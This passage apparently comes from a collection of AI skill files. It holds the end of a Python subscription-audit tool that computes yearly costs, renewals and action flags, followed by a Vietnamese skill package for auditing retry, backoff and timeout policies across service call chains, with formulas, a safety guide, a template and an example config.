return n * 12, "m"
return n, u
raise AuditError(f"unknown cycle {s!r} (use weekly, monthly, quarterly, yearly or 'every 2 months')")
def monthly_factor(n, u):
"""How many charges per month for a cycle of n units."""
return PER_MONTH[u] / n
def add_cycle(d, n, u):
if u == "d":
return d + dt.timedelta(days=n)
if u == "w":
return d + dt.timedelta(weeks=n)
m = d.month - 1 + n
y, m = d.year + m // 12, m % 12 + 1
return dt.date(y, m, min(d.day, calendar.monthrange(y, m)[1]))
def parse_date(s, field, name):
s = (s or "").strip()
if not s:
return None
try:
return dt.date.fromisoformat(s)
except ValueError:
raise AuditError(f"{name}: bad {field} date {s!r} (use YYYY-MM-DD)")
def money(s, field, name, required=False):
s = (s or "").strip().replace(",", "") if (s or "").count(",") and "." in (s or "") else (s or "").strip().replace(",", ".")
if not s:
if required:
raise AuditError(f"{name}: {field} is required")
return None
try:
v = Decimal(s)
except Exception:
raise AuditError(f"{name}: bad {field} {s!r}")
if v < 0:
raise AuditError(f"{name}: {field} cannot be negative")
return v
def q(v):
return v.quantize(D2, rounding=ROUND_HALF_UP)
def load(lines):
rd = csv.DictReader(lines)
if not rd.fieldnames:
raise AuditError("empty CSV")
rows = []
for r in rd:
r = {(k or "").strip().lower(): (v or "").strip() for k, v in r.items()}
if not any(r.values()):
continue
if not r.get("name"):
raise AuditError("every row needs a name")
rows.append(r)
if not rows:
raise AuditError("no subscriptions found")
return rows
def audit(rows, currency="EUR", rates=None, today=None, days=30, unused_days=45):
rates = {k.upper(): Decimal(str(v)) for k, v in (rates or {}).items()}
rates[currency.upper()] = Decimal(1)
today = today or dt.date.today()
horizon = today + dt.timedelta(days=days)
items, flags, renewals, raw = [], [], [], {}
for r in rows:
name = r["name"]
cur = (r.get("currency") or currency).upper()
if cur not in rates:
raise AuditError(f"{name}: no rate for {cur}; pass --rate {cur}=<value in {currency}>")
rate = rates[cur]
n, u = parse_cycle(r.get("cycle"))
amount = money(r.get("amount"), "amount", name, required=True)
after_trial = money(r.get("paid_after_trial"), "paid_after_trial", name)
trial_end = parse_date(r.get("trial_end"), "trial_end", name)
users = int(r.get("users") or 1)
if users < 1:
raise AuditError(f"{name}: users must be at least 1")
charge = amount * rate
f = monthly_factor(n, u)
monthly = charge * f
item = {"name": name, "category": r.get("category") or "Other", "currency": cur, "amount": float(amount),
"cycle": r.get("cycle"), "monthly": q(monthly), "yearly": q(monthly * 12), "users": users,
"your_monthly": q(monthly / users), "your_yearly": q(monthly * 12 / users)}
raw[name] = (monthly, monthly / users)
items.append(item)
nxt = parse_date(r.get("next_renewal"), "next_renewal", name)
if nxt:
while nxt < today:
nxt = add_cycle(nxt, n, u)
item["next_renewal"] = nxt.isoformat()
d = nxt
while d <= horizon:
due = charge
if trial_end and d >= trial_end and after_trial is not None:
due = after_trial * rate
renewals.append({"date": d.isoformat(), "name": name, "amount": q(due)})
d = add_cycle(d, n, u)
if (n, u) in ((12, "m"),) or (u == "m" and n >= 12):
if nxt <= horizon:
flags.append({"name": name, "flag": "RENEWS_YEARLY",
"detail": f"{q(charge)} {currency} charge on {nxt.isoformat()}; decide before then"})
last = parse_date(r.get("last_used"), "last_used", name)
if last and (today - last).days > unused_days:
flags.append({"name": name, "flag": "UNUSED",
"detail": f"last used {last.isoformat()} ({(today - last).days} days ago); costs {q(monthly * 12)} {currency}/year"})
if trial_end and today <= trial_end <= horizon:
extra = (f"; then {q(after_trial * rate)} {currency} per charge ({q(after_trial * rate * f * 12)} {currency}/year)"
if after_trial is not None else "")
flags.append({"name": name, "flag": "TRIAL",
"detail": f"trial ends {trial_end.isoformat()} ({(trial_end - today).days} days){extra}; cancel or keep on purpose"})
prev = money(r.get("previous_amount"), "previous_amount", name)
if prev and amount > prev:
pct = (amount - prev) / prev * 100
flags.append({"name": name, "flag": "PRICE_UP",
"detail": f"{prev} -> {amount} {cur} (+{q(pct)}%), +{q((amount - prev) * rate * f * 12)} {currency}/year"})
annual = money(r.get("annual_price"), "annual_price", name)
if annual is not None and not (u == "m" and n == 12):
save = monthly * 12 - annual * rate
if save > 0:
flags.append({"name": name, "flag": "ANNUAL_SAVES",
"detail": f"annual plan {q(annual * rate)} {currency} vs {q(monthly * 12)} {currency} paid {r.get('cycle')}: saves {q(save)} {currency}/year if you keep it 12 months"})
cats = {}
for it in items:
c = cats.setdefault(it["category"], {"count": 0, "monthly": Decimal(0), "names": []})
c["count"] += 1
c["monthly"] += raw[it["name"]][0]
c["names"].append(it["name"])
for cname, c in sorted(cats.items()):
if c["count"] > 1:
flags.append({"name": ", ".join(c["names"]), "flag": "OVERLAP",
"detail": f"{c['count']} subscriptions in {cname} ({q(c['monthly'])} {currency}/month); keep the one you use most"})
order = {"TRIAL": 0, "RENEWS_YEARLY": 1, "UNUSED": 2, "OVERLAP": 3, "PRICE_UP": 4, "ANNUAL_SAVES": 5}
flags.sort(key=lambda x: (order[x["flag"]], x["name"]))
renewals.sort(key=lambda x: (x["date"], x["name"]))
unused_names = {f["name"] for f in flags if f["flag"] == "UNUSED"}
total_m = sum((raw[it["name"]][0] for it in items), Decimal(0))
your_m = sum((raw[it["name"]][1] for it in items), Decimal(0))
return {
"currency": currency, "today": today.isoformat(), "days": days, "rates": {k: str(v) for k, v in rates.items()},
"count": len(items), "monthly_total": q(total_m), "yearly_total": q(total_m * 12),
"your_monthly_total": q(your_m), "your_yearly_total": q(your_m * 12),
"unused_yearly": q(sum((raw[it["name"]][0] * 12 for it in items if it["name"] in unused_names), Decimal(0))),
"next_days_total": q(sum((x["amount"] for x in renewals), Decimal(0))),
"by_category": {k: {"count": v["count"], "monthly": q(v["monthly"])} for k, v in sorted(cats.items(), key=lambda kv: -kv[1]["monthly"])},
"items": sorted(items, key=lambda it: -it["monthly"]), "renewals": renewals, "flags": flags,
}
def to_markdown(r):
c = r["currency"]
out = ["# Subscription audit", "",
f"**As of:** {r['today']} **Subscriptions:** {r['count']} **Currency:** {c} **Rates:** "
+ ", ".join(f"1 {k} = {v} {c}" for k, v in r["rates"].items() if k != c.upper()),
f"**Total:** {r['monthly_total']} {c}/month = {r['yearly_total']} {c}/year "
f"**Your share:** {r['your_monthly_total']} {c}/month = {r['your_yearly_total']} {c}/year",
f"**Unused (yearly cost):** {r['unused_yearly']} {c} **Charges in next {r['days']} days:** {r['next_days_total']} {c}",
"", "## Action list", ""]
out += [f"- **{f['flag']}** {f['name']}: {f['detail']}" for f in r["flags"]] or ["- Nothing to act on."]
out += ["", "## All subscriptions (most expensive first)", "",
"| Name | Category | Charge | Cycle | Per month | Per year | Users | Your year | Next renewal |",
"|---|---|---|---|---|---|---|---|---|"]
for it in r["items"]:
out.append(f"| {it['name']} | {it['category']} | {it['amount']:.2f} {it['currency']} | {it['cycle']} | {it['monthly']} | "
f"{it['yearly']} | {it['users']} | {it['your_yearly']} | {it.get('next_renewal', '')} |")
out += ["", "## By category", "", "| Category | Count | Per month |", "|---|---|---|"]
out += [f"| {k} | {v['count']} | {v['monthly']} |" for k, v in r["by_category"].items()]
out += ["", f"## Charges in the next {r['days']} days", ""]
out += [f"- {x['date']} {x['name']}: {x['amount']} {c}" for x in r["renewals"]] or ["- none"]
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
T = dt.date(2026, 10, 20)
hdr = "name,amount,currency,cycle,next_renewal,category,last_used,users,trial_end,previous_amount,annual_price,paid_after_trial"
def run(*lines, **kw):
return audit(load([hdr, *lines]), today=T, **kw)
ok("named cycles", parse_cycle("Quarterly") == (3, "m") and parse_cycle("annual") == (12, "m"))
ok("every N units", parse_cycle("every 2 weeks") == (2, "w") and parse_cycle("1y") == (12, "m"))
ok("month end clamps", add_cycle(dt.date(2026, 1, 31), 1, "m") == dt.date(2026, 2, 28))
ok("leap year clamp", add_cycle(dt.date(2027, 2, 28), 12, "m") == dt.date(2028, 2, 28) and add_cycle(dt.date(2028, 1, 31), 1, "m") == dt.date(2028, 2, 29))
r = run("A,10,EUR,monthly,,X,,,,,,")
ok("monthly 10 = 120/year", r["yearly_total"] == Decimal("120.00"))
r = run("A,120,EUR,yearly,,X,,,,,,")
ok("yearly 120 = 10/month", r["monthly_total"] == Decimal("10.00"))
r = run("A,5,EUR,weekly,,X,,,,,,")
ok("weekly 5 = 260.89/year", r["yearly_total"] == Decimal("260.89") and r["items"][0]["monthly"] == Decimal("21.74"))
r = run("A,1,EUR,monthly,,X,,3,,,,", "B,1,EUR,monthly,,X,,3,,,,", "C,1,EUR,monthly,,X,,3,,,,")
ok("totals use unrounded shares", r["your_monthly_total"] == Decimal("1.00"))
r = run("A,10,USD,monthly,,X,,,,,,", rates={"USD": "0.9"})
ok("currency rate applied", r["monthly_total"] == Decimal("9.00"))
try:
run("A,10,GBP,monthly,,X,,,,,,")
ok("missing rate rejected", False)
except AuditError:
ok("missing rate rejected", True)
r = run("Fam,20,EUR,monthly,,Music,,4,,,,")
ok("shared plan your share", r["your_monthly_total"] == Decimal("5.00") and r["monthly_total"] == Decimal("20.00"))
r = run("Old,10,EUR,monthly,,X,2026-07-01,,,,,")
ok("unused flagged", any(f["flag"] == "UNUSED" for f in r["flags"]) and r["unused_yearly"] == Decimal("120.00"))
r = run("Fresh,10,EUR,monthly,,X,2026-10-01,,,,,")
ok("recent use not flagged", not r["flags"])
r = run("A,10,EUR,monthly,,Video,,,,,,", "B,8,EUR,monthly,,Video,,,,,,")
ok("overlap flagged", [f["flag"] for f in r["flags"]] == ["OVERLAP"])
r = run("T,0,EUR,monthly,2026-10-25,Software,,,2026-10-25,,,24.99")
ok("trial flagged with paid price", r["flags"][0]["flag"] == "TRIAL" and "24.99" in r["flags"][0]["detail"])
ok("trial charge counted in renewals", r["renewals"][0]["amount"] == Decimal("24.99"))
r = run("P,12,EUR,monthly,,X,,,,10,,")
ok("price increase flagged", r["flags"][0]["flag"] == "PRICE_UP" and "+20.00%" in r["flags"][0]["detail"] and "+24.00" in r["flags"][0]["detail"])
r = run("M,10,EUR,monthly,,X,,,,,99,")
ok("annual saving flagged", r["flags"][0]["flag"] == "ANNUAL_SAVES" and "saves 21.00" in r["flags"][0]["detail"])
r = run("M,10,EUR,monthly,,X,,,,,130,")
ok("no saving when annual is pricier", not r["flags"])
r = run("Y,50,EUR,yearly,2026-11-01,X,,,,,,")
ok("yearly renewal soon flagged", r["flags"][0]["flag"] == "RENEWS_YEARLY")
r = run("W,1,EUR,weekly,2026-10-21,X,,,,,,")
ok("weekly renewals listed in window", len(r["renewals"]) == 5 and r["next_days_total"] == Decimal("5.00"))
r = run("Past,10,EUR,monthly,2026-08-15,X,,,,,,")
ok("rolled forward to the future", r["items"][0]["next_renewal"] == "2026-11-15")
for line, label in [("A,-3,EUR,monthly,,X,,,,,,", "negative amount rejected"),
("A,3,EUR,sometimes,,X,,,,,,", "unknown cycle rejected"),
("A,3,EUR,monthly,20-10-2026,X,,,,,,", "bad date rejected"),
("A,3,EUR,monthly,,X,,0,,,,", "zero users rejected")]:
try:
run(line)
ok(label, False)
except AuditError:
ok(label, True)
ok("markdown has action list", "## Action list" in to_markdown(run("A,10,EUR,monthly,,X,,,,,,")))
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def default(o):
if isinstance(o, Decimal):
return float(o)
raise TypeError(type(o))
def main(argv=None):
ap = argparse.ArgumentParser(description="Audit recurring subscriptions: true yearly cost, unused, overlapping, trials and renewals.")
ap.add_argument("file", nargs="?", help="subscriptions CSV ('-' for stdin)")
ap.add_argument("--currency", default="EUR", help="report currency (default EUR)")
ap.add_argument("--rate", action="append", default=[], metavar="CUR=VALUE",
help="1 CUR = VALUE report-currency units, e.g. USD=0.92 (repeatable)")
ap.add_argument("--today", help="evaluation date YYYY-MM-DD (default: today)")
ap.add_argument("--days", type=int, default=30, help="look-ahead for renewals and trials (default 30)")
ap.add_argument("--unused-days", type=int, default=45, help="flag items not used for this many days (default 45)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("subscriptions CSV required (or --self-test)")
try:
rates = {}
for x in a.rate:
k, _, v = x.partition("=")
if not v:
raise AuditError(f"bad --rate {x!r}, use CUR=VALUE")
rates[k.strip().upper()] = Decimal(v.strip())
lines = sys.stdin.read().splitlines() if a.file == "-" else open(a.file, encoding="utf-8").read().splitlines()
today = dt.date.fromisoformat(a.today) if a.today else None
r = audit(load(lines), a.currency.upper(), rates, today, a.days, a.unused_days)
except (OSError, AuditError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2, default=default, ensure_ascii=False) if a.json else to_markdown(r))
return 0
if __name__ == "__main__":
sys.exit(main())Kiểm tra các thiết lập retry, backoff và timeout trên toàn bộ chuỗi lệnh gọi để ngăn chặn bão retry (retry storm). Tính toán lịch trình độ trễ hàm mũ với jitter dạng full, equal hoặc decorrelated, độ trễ trường hợp xấu nhất cho mỗi tầng, số lần thử kỳ vọng và mức độ khuếch đại yêu cầu. Cảnh báo các timeout bên trong kéo dài vượt quá thời gian của bên gọi, việc retry các lệnh gọi không bất biến (non-idempotent), retry trên mã lỗi 4xx, bỏ qua Retry-After cũng như thiếu giới hạn trần (cap) hoặc hạn chót (deadline). Bao gồm một công cụ tính toán dùng thư viện chuẩn Python có hỗ trợ --self-test.
---
name: retry-backoff-policy-calculator
description: Kiểm tra các thiết lập retry, backoff và timeout trên toàn bộ chuỗi lệnh gọi để ngăn chặn bão retry (retry storm). Tính toán lịch trình độ trễ hàm mũ với jitter dạng full, equal hoặc decorrelated, độ trễ trường hợp xấu nhất cho mỗi tầng, số lần thử kỳ vọng và mức độ khuếch đại yêu cầu. Cảnh báo các timeout bên trong kéo dài vượt quá thời gian của bên gọi, việc retry các lệnh gọi không bất biến (non-idempotent), retry trên mã lỗi 4xx, bỏ qua Retry-After cũng như thiếu giới hạn trần (cap) hoặc hạn chót (deadline). Bao gồm một công cụ tính toán dùng thư viện chuẩn Python có hỗ trợ --self-test.
---
# Công cụ tính toán chính sách Retry và Backoff
Bạn giúp các kỹ sư thiết lập chính sách retry, backoff và timeout giúp các dịch vụ hoạt động đáng tin cậy hơn thay vì biến một sự cố nhỏ thành một sự cố sập hệ thống diện rộng. Bạn thu thập các thiết lập của từng chặng (hop) trong chuỗi lệnh gọi (trình duyệt, gateway, các dịch vụ, cơ sở dữ liệu, API bên thứ ba), tính toán những gì thực sự diễn ra khi gặp lỗi, và đề xuất một chính sách an toàn hơn kèm theo các con số cụ thể.
## Các tệp trong kỹ năng này
- `scripts/retry_policy.py` - đọc JSON chuỗi lệnh gọi và in ra lịch trình độ trễ, độ trễ trường hợp xấu nhất, số lần thử kỳ vọng, mức độ khuếch đại và các cờ cảnh báo (chỉ sử dụng thư viện chuẩn Python 3)
- `references/backoff-math.md` - các công thức tính backoff, jitter, thời gian trường hợp xấu nhất, số lần thử kỳ vọng, mức độ khuếch đại và việc lồng ghép timeout
- `references/retry-safety-guide.md` - những gì an toàn để retry, khóa bất biến (idempotency key), ngắt mạch (circuit breaker), ngân sách retry (retry budget), các thiết lập thư viện phổ biến
- `templates/retry-policy-review.md` - báo cáo đánh giá gồm chuỗi hiện tại, các phát hiện và chính sách đề xuất
- `examples/checkout-chain.json` - một chuỗi thanh toán ba tầng với những sai lầm điển hình
## Quy trình làm việc
### 1. Lập bản đồ chuỗi lệnh gọi
Hỏi thông tin cho từng chặng, bắt đầu từ tầng ngoài cùng trước: số lần thử (attempts - tổng số lần thực hiện), độ trễ cơ sở (base delay), hệ số nhân (multiplier), độ trễ tối đa (max delay), loại jitter, timeout cho mỗi lần thử (per-try timeout), hạn chót tổng thể (overall deadline), điều kiện kích hoạt retry (mã trạng thái, "timeout", "network"), liệu lệnh gọi có tính bất biến (idempotent) hay không, có gửi kèm khóa bất biến (idempotency key) hay không, và có tuân thủ Retry-After hay không. Đọc các thông số này từ mã nguồn hoặc tệp cấu hình (SDK client, bộ chuyển đổi retry của HTTP client, các route Envoy/Istio, cấu hình dịch vụ gRPC, hàng đợi công việc). Với các giá trị chưa biết: sử dụng giá trị mặc định của thư viện và đánh dấu chúng là giả định.
### 2. Chạy công cụ tính toán
```
python3 scripts/retry_policy.py examples/checkout-chain.json
python3 scripts/retry_policy.py chain.json --failure-rate 0.5 --max-amplification 8
python3 scripts/retry_policy.py chain.json --json > retry-report.json
python3 scripts/retry_policy.py --self-test
```
Mã thoát (exit code) 1 có nghĩa là có các phát hiện mức độ nghiêm trọng cao, 2 có nghĩa là dữ liệu đầu vào không hợp lệ.
### 3. Giải thích các phát hiện
Thứ tự ưu tiên: RETRY_UNSAFE và AMPLIFICATION trước tiên (chúng gây ra các tác dụng phụ trùng lặp và làm sập hệ thống), tiếp theo là INNER_OUTLIVES_CALLER, HOT_LOOP, NO_PER_TRY_TIMEOUT, sau đó đến mức trung bình (medium) và thấp (low). Giải thích từng vấn đề bằng các con số trích từ báo cáo, ví dụ: "một lần thanh toán có thể biến thành 36 lệnh gọi tới nhà cung cấp dịch vụ thanh toán".
### 4. Đề xuất chính sách đã khắc phục
Sử dụng `references/backoff-math.md` và `references/retry-safety-guide.md`: chỉ retry tại một tầng duy nhất, dùng full jitter có giới hạn trần (cap), thời gian trường hợp xấu nhất của tầng bên trong phải nhỏ hơn per-try timeout của bên gọi, truyền hạn chót (deadline) xuống các tầng dưới, dùng khóa bất biến cho các thao tác ghi, không retry trên các lỗi 4xx ngoại trừ 408/429, tuân thủ Retry-After, áp dụng ngân sách retry hoặc bộ ngắt mạch. Chạy lại kịch bản trên tệp JSON đề xuất và hiển thị kết quả so sánh trước và sau khi sửa.
### 5. Viết báo cáo tổng hợp
Điền vào biểu mẫu `templates/retry-policy-review.md` và cung cấp các đoạn mã cấu hình (config snippets) cho thư viện mà người dùng đang sử dụng.
## Ví dụ kết quả
Đối với `examples/checkout-chain.json` ở tỷ lệ lỗi 30%: mức độ khuếch đại trường hợp xấu nhất là 36 lệnh gọi cho mỗi lần thanh toán (kỳ vọng là 2.74); thời gian trường hợp xấu nhất 9.3 giây của tầng gateway kéo dài vượt quá per-try timeout 8 giây của ứng dụng web; tầng thanh toán retry một lệnh trừ tiền không bất biến 4 lần mà không có khóa bất biến và retry cả lỗi 409; không có jitter tại tầng gateway; bỏ qua Retry-After trên lỗi 429/503.
## Quy tắc
- Không bao giờ khuyến nghị retry một lệnh gọi không bất biến mà không có khóa bất biến (idempotency key).
- Giữ tính trung thực của các con số: gắn nhãn rõ ràng các giá trị mặc định của thư viện và các phỏng đoán là giả định.
- Ưu tiên số lần retry ít hơn kèm theo thiết lập timeout hợp lý hơn là retry quá nhiều lần.
- Khuyến nghị kiểm thử tải (load test) hoặc tiêm lỗi (fault injection) để xác nhận chính sách trong thực tế, chứ không chỉ dựa vào tính toán lý thuyết.
FILE:references/backoff-math.md
# Toán học về Backoff và Timeout
## Thuật ngữ
- **attempts**: tổng số lần thử bao gồm cả lần đầu tiên. attempts 3 = 1 lần thử ban đầu + 2 lần retry.
- **base**: độ trễ của lần retry đầu tiên. **multiplier**: hệ số tăng trưởng (thường là 2). **cap**: độ trễ tối đa cho một lần chờ.
- **per-try timeout**: khoảng thời gian tối đa mà một lần thử được phép diễn ra trước khi bị hủy bỏ.
- **deadline**: tổng ngân sách thời gian cho toàn bộ lệnh gọi bao gồm tất cả các lần thử và thời gian chờ.
## Độ trễ trước lần retry thứ k (k = 1 .. attempts-1)
d(k) = min(cap, base x multiplier^(k-1))
| Jitter | Độ trễ | Phạm vi | Giá trị trung bình |
|---|---|---|---|
| none | d | d | d |
| full | random(0, d) | 0 .. d | d/2 |
| equal | d/2 + random(0, d/2) | d/2 .. d | 0.75 d |
| decorrelated | min(cap, random(base, 3 x previous)) | base .. min(cap, base x 3^k) | mô phỏng |
Full jitter phân tán tải tốt nhất và là khuyến nghị mặc định. Equal jitter giữ lại một khoảng thời gian chờ tối thiểu. Decorrelated jitter thích ứng với độ trễ liền trước đó và hoạt động tốt cho các client chạy dài hạn.
## Thời lượng trường hợp xấu nhất của một lệnh gọi
worst = attempts x per_try_timeout + tổng các độ trễ tối đa, sau đó cắt tại ngưỡng deadline nếu có thiết lập deadline.
Ví dụ: 3 lần thử x 1 s + 100 ms + 200 ms = 3.3 s.
## Số lần thử kỳ vọng
Với xác suất lỗi độc lập p cho mỗi lần thử và tổng số n lần thử (attempts):
E[tries] = 1 + p + p^2 + ... + p^(n-1)
p = 0.3, n = 3 -> 1.39. Trong trường hợp sập toàn bộ hệ thống, p = 1 và E = n.
## Sự khuếch đại qua các tầng
Nếu tầng A retry 3 lần và gọi B, B lại retry 3 lần và gọi C, C lại retry 4 lần, thì một yêu cầu từ người dùng có thể biến thành 3 x 3 x 4 = 36 lệnh gọi tới C khi xảy ra sự cố. Đây chính là bão retry (retry storm): các lệnh retry giữ cho dịch vụ đang gặp sự cố luôn trong tình trạng quá tải, khiến nó không thể phục hồi.
Quy tắc kinh nghiệm:
- Chỉ retry tại một tầng duy nhất, thường là tầng gần người dùng nhất hoặc tầng sở hữu khóa bất biến (idempotency key).
- Các tầng bên trong: đặt attempts là 1 hoặc 2 với hạn chót (deadline) ngắn.
- Giữ mức độ khuếch đại trong trường hợp xấu nhất ở mức bằng hoặc dưới khoảng 10.
- Thêm **ngân sách retry (retry budget)**: số lượng retry chỉ được chiếm tối đa 10-20% tổng số yêu cầu trong một cửa sổ trượt (sliding window); vượt quá ngưỡng đó, hãy báo lỗi ngay lập tức (fail fast).
## Lồng ghép Timeout (Timeout nesting)
Trường hợp xấu nhất của mỗi tầng phải nằm gọn bên trong per-try timeout của bên gọi nó, trừ đi một khoảng dự phòng (margin) cho độ trễ mạng và xử lý:
inner_worst <= outer_per_try_timeout - margin
Nếu không, bên gọi sẽ hủy bỏ lần thử đó và thực hiện retry trong khi tầng bên trong vẫn đang tiếp tục xử lý, làm tăng gấp đôi tải hệ thống. Hãy truyền một hạn chót (deadline) xuống dọc theo chuỗi lệnh gọi (ví dụ qua header `grpc-timeout` hoặc `X-Request-Deadline`) và dừng xử lý ngay khi thời gian này cạn kiệt.
## Retry-After
Đối với mã lỗi 429 và 503, máy chủ có thể gửi kèm `Retry-After: <seconds>` hoặc một ngày giờ theo chuẩn HTTP. Hãy chờ ít nhất bằng khoảng thời gian đó (sử dụng max(Retry-After, backoff tính toán được)), và từ bỏ ngay nếu khoảng thời gian chờ này dài hơn thời hạn (deadline) còn lại.
FILE:references/retry-safety-guide.md
# Hướng dẫn an toàn khi Retry
## Những trường hợp nên retry
| Kết quả | Có Retry không? | Ghi chú |
|---|---|---|
| Từ chối kết nối (Connection refused) / ngắt kết nối (reset) trước khi yêu cầu được gửi đi | Có | An toàn cho bất kỳ phương thức nào |
| Hết thời gian chờ (Timeout) sau khi yêu cầu đã được gửi đi | Chỉ khi có tính bất biến hoặc có khóa bất biến (idempotency key) | Máy chủ có thể đã thực hiện xong công việc đó |
| 408 Request Timeout | Có, kèm theo backoff | |
| 429 Too Many Requests | Có, sau khoảng thời gian Retry-After | Không bao giờ gọi lại nhanh hơn thời gian máy chủ yêu cầu |
| 500 Internal Server Error | Đôi khi | Chỉ khi biết chắc lỗi đó là lỗi tạm thời (transient) |
| 502 / 503 / 504 | Có, kèm theo backoff và jitter | Tuân thủ Retry-After trên lỗi 503 |
| 400 / 401 / 403 / 404 / 405 / 410 / 422 | Không | Cùng một yêu cầu sẽ thất bại theo cùng một cách; hãy sửa lại yêu cầu, hoặc làm mới xác thực (auth) tối đa một lần |
| 409 Conflict | Thường là không | Ngoại lệ: một khóa bất biến vẫn đang trong quá trình xử lý, hãy retry sau một khoảng chờ ngắn |
## Tính bất biến (Idempotency)
- GET, HEAD, OPTIONS, PUT và DELETE có tính bất biến theo ngữ nghĩa HTTP, nếu máy chủ triển khai chúng đúng chuẩn.
- POST và PATCH không có tính bất biến. Để retry chúng, hãy gửi kèm một **khóa bất biến (idempotency key)** (một mã UUID cho mỗi thao tác logic, ví dụ qua header `Idempotency-Key`) mà máy chủ sẽ lưu trữ cùng với kết quả trong vòng 24 giờ hoặc lâu hơn. Khởi tạo khóa này một lần duy nhất trước lần thử đầu tiên, và tái sử dụng lại nó cho mọi lần retry.
- Các tác vụ thanh toán, gửi email, SMS, tạo đơn hàng và giữ chỗ tồn kho tuyệt đối không bao giờ được retry nếu không có khóa bất biến.
## Danh sách kiểm tra cho Client (Client checklist)
1. Đã thiết lập per-try timeout và ngắn hơn timeout của bên gọi.
2. Đã thiết lập hạn chót tổng thể (overall deadline) và truyền xuống dọc theo chuỗi lệnh gọi.
3. Sử dụng exponential backoff có giới hạn trần (cap) và full jitter.
4. Số lần thử (attempts) <= 3 ở tầng biên (edge), 1-2 ở các tầng bên trong.
5. Chỉ retry trên các hàng có giá trị "Có" trong bảng hướng dẫn.
6. Đính kèm khóa bất biến (idempotency key) trên mọi lệnh gọi không bất biến có thực hiện retry.
7. Có ngân sách retry (retry budget) hoặc bộ ngắt mạch (circuit breaker) để dừng retry khi xảy ra sự cố diện rộng.
8. Các chỉ số đo lường (metrics): số lần thử trên mỗi yêu cầu, tỷ lệ retry, số lần từ bỏ (give-up count), phân loại theo từng dịch vụ phụ thuộc (dependency).
9. Chỉ ghi log lỗi cuối cùng kèm theo tổng số lần đã thử, không ghi log ở mức error cho từng lần thử thất bại riêng lẻ.
## Kiến thức cơ bản về Bộ ngắt mạch (Circuit breaker)
- Đóng (Closed): các lệnh gọi diễn ra bình thường; đếm số lỗi trong một cửa sổ trượt (rolling window).
- Mở (Open): sau khi vượt ngưỡng ví dụ như 50% lỗi trên ít nhất 20 lệnh gọi, báo lỗi ngay lập tức (fail fast) trong vòng 30 giây.
- Nửa mở (Half-open): cho phép một vài lệnh gọi thăm dò đi qua; chuyển về trạng thái Đóng nếu chúng thành công.
Sự kết hợp giữa bộ ngắt mạch và ngân sách retry sẽ ngăn chặn bão retry làm trầm trọng thêm sự cố sập hệ thống.
## Thiết lập của các thư viện phổ biến
- AWS SDKs: chế độ tiêu chuẩn (standard mode) = 3 lần thử (attempts), full jitter, độ trễ cơ sở (base) 1 giây khi bị giới hạn tốc độ (throttling); chế độ thích ứng (adaptive mode) bổ sung thêm tính năng giới hạn tốc độ phía client.
- Chính sách retry của gRPC: maxAttempts, initialBackoff, maxBackoff, backoffMultiplier, retryableStatusCodes (UNAVAILABLE là mã phổ biến nhất); việc retry cần tuân thủ các quy tắc hedging/transparent retry đối với các phương thức không bất biến.
- Envoy / Istio: retry_on: 5xx,reset,connect-failure; num_retries; per_try_timeout; thiết lập route timeout >= per_try_timeout x (num_retries + 1).
- Python `urllib3.Retry(total=3, backoff_factor=0.5, status_forcelist=[502,503,504], respect_retry_after_header=True, allowed_methods=[...])`.
Hãy kiểm tra tài liệu của thư viện tương ứng với phiên bản bạn đang sử dụng; các giá trị mặc định có thể thay đổi theo phiên bản.
FILE:templates/retry-policy-review.md
# Đánh giá Chính sách Retry - <dịch vụ / chuỗi lệnh gọi> - <ngày>
**Người đánh giá:** <tên> **Đầu vào:** <JSON chuỗi / các tệp cấu hình> **Tỷ lệ lỗi giả định:** <30%>
## Chuỗi lệnh gọi
| # | Bên gọi -> Bên được gọi | Số lần thử (Attempts) | Backoff (base / x / cap) | Jitter | Per-try timeout | Deadline | Trường hợp xấu nhất |
|---|---|---|---|---|---|---|---|
| 1 | | | | | | | |
**Mức độ khuếch đại trường hợp xấu nhất:** <36> lệnh gọi trên mỗi yêu cầu (mục tiêu <= 10)
**Mức độ khuếch đại kỳ vọng tại <p>:** <2.7>
## Các phát hiện
| Mức độ nghiêm trọng | Tầng | Mã lỗi | Vấn đề | Cách khắc phục |
|---|---|---|---|---|
| high | | | | |
## Chính sách đề xuất
| # | Bên gọi -> Bên được gọi | Số lần thử (Attempts) | Backoff | Jitter | Per-try timeout | Deadline | Retry khi gặp |
|---|---|---|---|---|---|---|---|
| 1 | | | | full | | | |
**Mức độ khuếch đại trường hợp xấu nhất mới:** <n> **Độ trễ trường hợp xấu nhất mới:** <s>
## Công việc tiếp theo
- [ ] Bổ sung khóa bất biến (idempotency keys) cho: <các lệnh gọi>
- [ ] Thiết lập ngân sách retry / bộ ngắt mạch cho: <dịch vụ phụ thuộc>
- [ ] Bảng điều khiển (Dashboards): số lần thử trên mỗi yêu cầu, tỷ lệ retry, số lần từ bỏ
FILE:examples/checkout-chain.json
{
"name": "checkout: browser -> api gateway -> orders service -> payments provider",
"failure_rate": 0.3,
"max_amplification": 10,
"layers": [
{
"name": "web app -> api gateway",
"attempts": 3,
"base_delay_ms": 200,
"multiplier": 2,
"max_delay_ms": 2000,
"jitter": "full",
"per_try_timeout_ms": 8000,
"deadline_ms": 20000,
"retry_on": ["network", 502, 503, 504],
"idempotent": true,
"respect_retry_after": true
},
{
"name": "api gateway -> orders service",
"attempts": 3,
"base_delay_ms": 100,
"multiplier": 2,
"max_delay_ms": 1000,
"jitter": "none",
"per_try_timeout_ms": 3000,
"retry_on": [500, 502, 503, 504, "timeout"],
"idempotent": true
},
{
"name": "orders service -> payments provider (create charge)",
"attempts": 4,
"base_delay_ms": 250,
"multiplier": 2,
"jitter": "equal",
"per_try_timeout_ms": 2500,
"deadline_ms": 9000,
"retry_on": [409, 429, 500, 503, "timeout"],
"idempotent": false,
"idempotency_key": false,
"respect_retry_after": false
}
]
}
FILE:scripts/retry_policy.py
#!/usr/bin/env python3
"""Retry and backoff policy calculator (Python 3 standard library only).
Input: a JSON file describing a call chain, outermost caller first:
{"name": "checkout", "failure_rate": 0.3, "max_amplification": 10,
"layers": [
{"name": "web -> api", "attempts": 3, "base_delay_ms": 100, "multiplier": 2,
